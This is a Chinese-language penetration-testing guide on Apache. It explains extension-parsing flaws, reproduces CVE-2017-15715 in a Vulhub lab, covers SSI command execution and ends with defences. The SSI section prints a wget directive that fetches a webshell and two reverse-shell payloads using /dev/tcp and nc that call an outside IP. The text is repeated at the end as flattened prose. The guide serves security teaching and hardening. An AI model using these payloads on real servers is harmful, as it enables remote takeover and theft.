渗透测试之地基服务篇:服务攻防之中间件Apache(总)
字数 1401 2025-08-13 21:33:29

Apache中间件渗透测试全面指南

一、Apache基础与原理

1. Apache简介

Apache是世界使用排名第一的Web服务器软件,具有跨平台和安全性特点,支持HTML、PHP、Perl、Python等多种语言。

2. Apache目录结构

bin/        # 常用命令工具
cgi-bin/    # Linux常用命令
conf/       # 配置文件(如httpd.conf)
error/      # 错误记录
htdocs/     # 网站源码
icons/      # 网站图标
logs/       # 日志
manual/     # 手册
modules/    # 扩展模块

3. Apache与PHP通信原理

  1. Apache通过LoadModule加载php5_module模块(php5apache2_2.dll)
  2. 通过以下配置指定PHP解析规则:
LoadModule php5_module php5apache2_2.dll的路径
AddType application/x-httpd-php .php
# 或
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>
  1. 调用流程:HTTP → Apache → php5_module → SAPI → PHP

二、Apache解析漏洞详解

1. 未知扩展名解析漏洞

漏洞原理:Apache从右向左识别扩展名,直到识别到合法后缀才进行解析。

利用条件

  • 使用module模式与PHP结合的所有版本Apache
  • 文件扩展名中至少带有一个".php"

测试方法

  1. 上传文件如test.php.jpg
  2. 访问该文件,Apache会将其解析为PHP

2. AddHandler导致的解析漏洞

配置示例

AddHandler application/x-httpd-php .php

效果:只要文件名中出现.php,就直接被解析为PHP,如dayu.php.jpg

3. 罕见后缀解析

Apache默认支持解析的后缀包括:

  • .php
  • .php3
  • .php4
  • .php5
  • .pht
  • .phtml

三、Apache HTTPD换行解析漏洞(CVE-2017-15715)

1. 漏洞描述

上传一个后缀末尾包含换行符(\x0A)的文件,可以绕过FilesMatch规则。

2. 影响版本

Apache 2.4.0~2.4.29

3. 漏洞复现步骤

  1. 搭建Vulhub测试环境:
cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build
sudo docker-compose up -d
  1. 上传文件1.php被拦截

  2. 使用Burp抓包,将文件名改为1.php\x0A(十六进制将2E改为0A)

  3. 访问http://target/1.php%0A成功解析

4. 漏洞原理

正则表达式$在设置了Multiline属性时会匹配'\n'或'\r',导致换行符被识别为文件名结尾。

5. 修复建议

  1. 升级到最新版本
  2. 重命名上传文件为时间戳+随机数+.jpg格式
  3. 禁用上传文件目录执行脚本权限

四、Apache SSI远程命令执行漏洞

1. 漏洞原理

当服务器开启SSI与CGI支持时,可上传.shtml文件执行系统命令。

2. 环境搭建

cd vulhub/httpd/ssi-rce
docker-compose up -d

3. 利用方法

  1. 上传包含SSI指令的文件:
<pre><!--#exec cmd="whoami" --></pre>
  1. 访问该.shtml文件可执行命令

4. 高级利用

  • 下载webshell:
<!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php" -->
  • 反弹shell:
<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.1.1/8888 0<&1 2>&1" -->
<!--#exec cmd="nc 192.168.1.1 8888 -e /bin/bash" -->

5. 本地SSI配置

  1. 在httpd.conf中启用:
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
Options +Indexes +FollowSymLinks +ExecCGI +INCLUDES
  1. 重启Apache服务

五、防御措施

  1. 文件上传限制

    • 严格校验文件类型和内容
    • 重命名上传文件
    • 限制上传目录执行权限
  2. 服务器配置

    • 及时更新Apache版本
    • 关闭不必要的SSI和CGI功能
    • 使用最小权限原则运行服务
  3. 日志监控

    • 监控异常文件访问
    • 分析可疑请求模式

六、测试工具与命令

Docker常用命令

docker-compose up -d    # 启动服务
docker-compose ps       # 查看服务状态
docker-compose stop     # 停止服务
docker-compose restart  # 重启服务
docker-compose rm       # 删除服务

Apache服务管理

/etc/init.d/apache2 start    # 启动
/etc/init.d/apache2 status   # 状态
service apache2 restart      # 重启
systemctl restart apache2    # 系统方式重启

七、总结

本文详细介绍了Apache中间件的多种安全漏洞,包括解析漏洞、换行解析漏洞(CVE-2017-15715)和SSI远程命令执行漏洞。通过理解这些漏洞的原理和利用方法,安全人员可以更好地评估和加固Apache服务器的安全性。在实际渗透测试中,应重点关注文件上传功能和服务配置问题,同时也要注意这些技术的合法使用边界。

Apache中间件渗透测试全面指南 一、Apache基础与原理 1. Apache简介 Apache是世界使用排名第一的Web服务器软件,具有跨平台和安全性特点,支持HTML、PHP、Perl、Python等多种语言。 2. Apache目录结构 3. Apache与PHP通信原理 Apache通过 LoadModule 加载php5_ module模块(php5apache2_ 2.dll) 通过以下配置指定PHP解析规则: 调用流程:HTTP → Apache → php5_ module → SAPI → PHP 二、Apache解析漏洞详解 1. 未知扩展名解析漏洞 漏洞原理 :Apache从右向左识别扩展名,直到识别到合法后缀才进行解析。 利用条件 : 使用module模式与PHP结合的所有版本Apache 文件扩展名中至少带有一个".php" 测试方法 : 上传文件如 test.php.jpg 访问该文件,Apache会将其解析为PHP 2. AddHandler导致的解析漏洞 配置示例 : 效果 :只要文件名中出现.php,就直接被解析为PHP,如 dayu.php.jpg 3. 罕见后缀解析 Apache默认支持解析的后缀包括: .php .php3 .php4 .php5 .pht .phtml 三、Apache HTTPD换行解析漏洞(CVE-2017-15715) 1. 漏洞描述 上传一个后缀末尾包含换行符(\x0A)的文件,可以绕过FilesMatch规则。 2. 影响版本 Apache 2.4.0~2.4.29 3. 漏洞复现步骤 搭建Vulhub测试环境: 上传文件 1.php 被拦截 使用Burp抓包,将文件名改为 1.php\x0A (十六进制将2E改为0A) 访问 http://target/1.php%0A 成功解析 4. 漏洞原理 正则表达式 $ 在设置了Multiline属性时会匹配'\n'或'\r',导致换行符被识别为文件名结尾。 5. 修复建议 升级到最新版本 重命名上传文件为时间戳+随机数+.jpg格式 禁用上传文件目录执行脚本权限 四、Apache SSI远程命令执行漏洞 1. 漏洞原理 当服务器开启SSI与CGI支持时,可上传.shtml文件执行系统命令。 2. 环境搭建 3. 利用方法 上传包含SSI指令的文件: 访问该.shtml文件可执行命令 4. 高级利用 下载webshell: 反弹shell: 5. 本地SSI配置 在httpd.conf中启用: 重启Apache服务 五、防御措施 文件上传限制 : 严格校验文件类型和内容 重命名上传文件 限制上传目录执行权限 服务器配置 : 及时更新Apache版本 关闭不必要的SSI和CGI功能 使用最小权限原则运行服务 日志监控 : 监控异常文件访问 分析可疑请求模式 六、测试工具与命令 Docker常用命令 Apache服务管理 七、总结 本文详细介绍了Apache中间件的多种安全漏洞,包括解析漏洞、换行解析漏洞(CVE-2017-15715)和SSI远程命令执行漏洞。通过理解这些漏洞的原理和利用方法,安全人员可以更好地评估和加固Apache服务器的安全性。在实际渗透测试中,应重点关注文件上传功能和服务配置问题,同时也要注意这些技术的合法使用边界。